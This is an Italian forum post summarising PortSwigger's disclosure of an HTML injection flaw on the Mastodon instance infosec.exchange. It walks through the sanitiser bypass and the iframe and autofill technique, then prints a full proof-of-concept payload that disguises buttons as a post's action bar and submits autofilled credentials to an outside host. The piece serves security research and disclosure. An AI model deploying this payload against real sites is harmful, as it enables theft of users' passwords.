Discussione News Mastodon e la falla che consentiva di rubare le credenziali degli utenti

0xbro

Super Moderatore
24 Febbraio 2017
4,148
162
3,182
1,645
Ultima modifica:
La storia di come un ricercatore di PortSwigger abbia individuato una falla che permettesse di rubare le credenziali degli utenti di Mastodon senza la necessità di bypassare il CSP, utilizzando una vulnerabilità HTML Injection.​
Mastodon.jpg


Rubare le password da Mastodon senza bypassare il CSP​

Tratto da Stealing passwords from infosec Mastodon - without bypassing CSP, PortSwigger

Indice:​





1    Cos'è Mastodon

Mastodon è una piattaforma social che sta prendendo molto piede ultimamente, soprattutto a seguito dell'acquisizione di Twitter da parte di Elon Musk. Ciò che lo caratterizza è il fatto di essere open source e completamente decentralizzato: ognuno può scaricare il codice del software ed hostarne la propria istanza online.

Vista la natura del prodotto e visto che non esiste una sola, singola, istanza, sono nati diversi server ognuno dei quali ha regole diverse e tratta tematiche differenti (alcuni dei quali puoi trovarli nell'elenco ufficiale del sito). Ciò però non comporta alcun limite per gli utenti della piattaforma: la peculiarità di questo sistema risiede nella federazione tra i vari server, che consentono ad ogni utente registrato su una certa istanza, di accedere, interagire e seguire utenti appartenenti ad altre istanze.

Tralasceremo ulteriori dettagli sulla piattaforma poiché non sono strettamente collegati all'argomento del topic, ma per maggiori informazioni e approfondimenti sulla piattaforma consiglio a tutti di dare una visione al seguente video e documentarsi ulteriormente in autonomia:


2    La falla

All'interno del server infosec.exchange (ma potenzialmente anche altri server Mastodon con la stessa configurazione) era possibile abilitare l'utilizzo di codice HTML e Markdown per la creazione dei "toot" (i corrispettivi tweet su Twitter). In genere, consentire di scrivere codice HTML all'interno dei post su un social non è mai una buona idea, soprattutto se non è stato implementato un meccanismo di filtering robusto (come è stato constatato successivamente). Di seguito la porzione di sorgente specifica per il filtering:​

A seguito di diverse ricerche, Gareth (il ricercatore) è riuscito a identificare un parametro utilizzabile per iniettare del codice senza HTML senza che il filtro di sanificazione entrasse in funzione:
Input:
HTML:
<abbr title="<img src=1 onerror=...>">test</abbr>
Output:
HTML:
<abbr title="<img src=1 onerror=...>">test</abbr>

In questo modo Gareth aveva a disposizione una primitiva che gli permettesse di iniettare qualsiasi tag HTML a proprio piacimento. Arrivati a questo punto l'obiettivo principale era quello di riuscire ad evadere dall'attributo abbr ed iniettare effettivamente il payload all'interno dell'applicazione. Purtroppo (o per fortuna) sia tag isolati che apici e doppi apici venivano rimossi o gestiti correttamente dal filtro sui contenuti.

E' qui che ha inizio la vera magia!

Gareth si è accorto che alcuni profili disponevano della famosa "spunta blu" simil-twitter, e che tale spunta blu era il risultato dell'icona :verified:, tramutata successivamente in un'immagine dal server:​
HTML:
<img draggable="false" class="emojione custom-emoji" alt=":verified:" … >

Qui il lampo di genio: è possibile utilizzare questa icona per "rompere" l'attributo abbr ed iniettare del codice arbitrario?

giphy-downsized-large.gif
Input:
HTML:
<abbr title="<a href='https://blah'>:verified:</a><iframe src=//garethheyes.co.uk/>">
Output:
HTML:
<abbr title="<a href='https://blah</a>'><img draggable=" false" ... ><iframe src=//garethheyes.co.uk/>

Grazie ai doppi apici iniettati dalla trasformazione dell'icona in immagine era possibile evadere dall'attributo title ed iniettare qualsiasi tag HTML a proprio piacimento! Il meccanismo di filtering era stato completamente arginato!

3    Bypassare il CSP? No grazie!

Trovato il giusto payload era solo questione di rendere l'attacco il più pericoloso e utile possibile. Grazie ad una configurazione dell'header frame-src molto blanda risultava possibile iniettare qualsiasi sito web in HTTPS utilizzando il tag iframe. Così facendo era possibile spoofare qualiasi form di un qualsiasi sito web, di fatto embeddandolo all'interno di Mastodon.

Il passo successivo è stato quello di sfruttare l'autofill di Chrome per verificare se il form venisse compilato in automatico, nonostante fosse embeddato in un dominio diverso. Il risultato? Certo che sì, e senza alcuna interazione da parte dell'utente! Una volta catturata la password non restava altro che creare un pulsante, il più convincente possibile, su cui cliccare. La soluzione migliore è stata quell di falsificare la barra degli strumenti sotto il "tweet", in modo da ingannare un utente a rispondere, salvare o condividere un post, di fatto cliccando sul bottone "malevolo" e inviando così le credenziali all'attaccante.​

Ultimo step: rendere il form invisibile. Ma in che modo?
A causa di un CSP molto stringente l'unico modo era quello di cercare all'interno del CSS di Mastodon una classe con opacity:0 e sperare che l'autofiller continuasse ad auto-completare il form. Fortunatamente entrambe le speranze non sono state vane e hanno permesso così al ricercatore di creare un payload 100% funzionante e "wormable", in grado di raccogliere credenziali e riproporre il vettore per ogni utente.​

4    PoC

HTML:
<abbr title="<a href='https://blah'>:verified:</a></abbr>
<form action=//portswigger-labs.net/mastodon-demo>
<input name=username class=react-toggle-track-check>
<input type=password name=password class=react-toggle-track-check>

<div class='status__action-bar'><button type=submit aria-label='Reply' title='Reply' class='status__action-bar-button icon-button' tabindex='0'>
<i role='img' class='fa fa-reply fa-fw' aria-hidden='true'></i>
 </button>
<button type=submit aria-label='Boost' aria-pressed='false' title='Boost' class='status__action-bar-button icon-button' tabindex='0' ><i role='img' class='fa fa-retweet fa-fw' aria-hidden='true'></i>
 </button><button type=submit aria-label='Favourite' aria-pressed='false' title='Favourite' class='status__action-bar-button star-icon icon-button' tabindex='0'><i role='img' class='fa fa-star fa-fw' aria-hidden='true'></i>
</button><button type=submit aria-label='Bookmark' aria-pressed='false' title='Bookmark' class='status__action-bar-button bookmark-icon icon-button' tabindex='0'>
<i role='img' class='fa fa-bookmark fa-fw' aria-hidden='true'></i> </button>
<div class='status__action-bar-dropdown'><button type=submit aria-label='Menu' title='Menu' class='icon-button' tabindex='0'><i role='img' class='fa fa-ellipsis-h fa-fw' aria-hidden='true'></i> </button></div>
</div>">

bJBpBMT.gif

5    Risorse esterne



Vedi: https://www.reddit.com/r/netsec/comments/yvzaxb/stealing_passwords_from_infosec_mastodon_without/


Made with ❤ for Inforge

 

CrazyMonk

Utente Electrum
24 Dicembre 2021
483
14
247
159
Il codice open porta vantaggi e svantaggi, fixi le vuln più facile dato che hai l'aiuto di tutta la community, ma le scopri anche più velocemente.
Beh per gli sviluppatori scoprire al più presto le vulnerabilità del loro codice è comunque un vantaggio perché consente di ovviare alle falle di sicurezza prima che lo faccia qualche malintenzionato. 😁
 
  • Mi piace
Reazioni: ghost141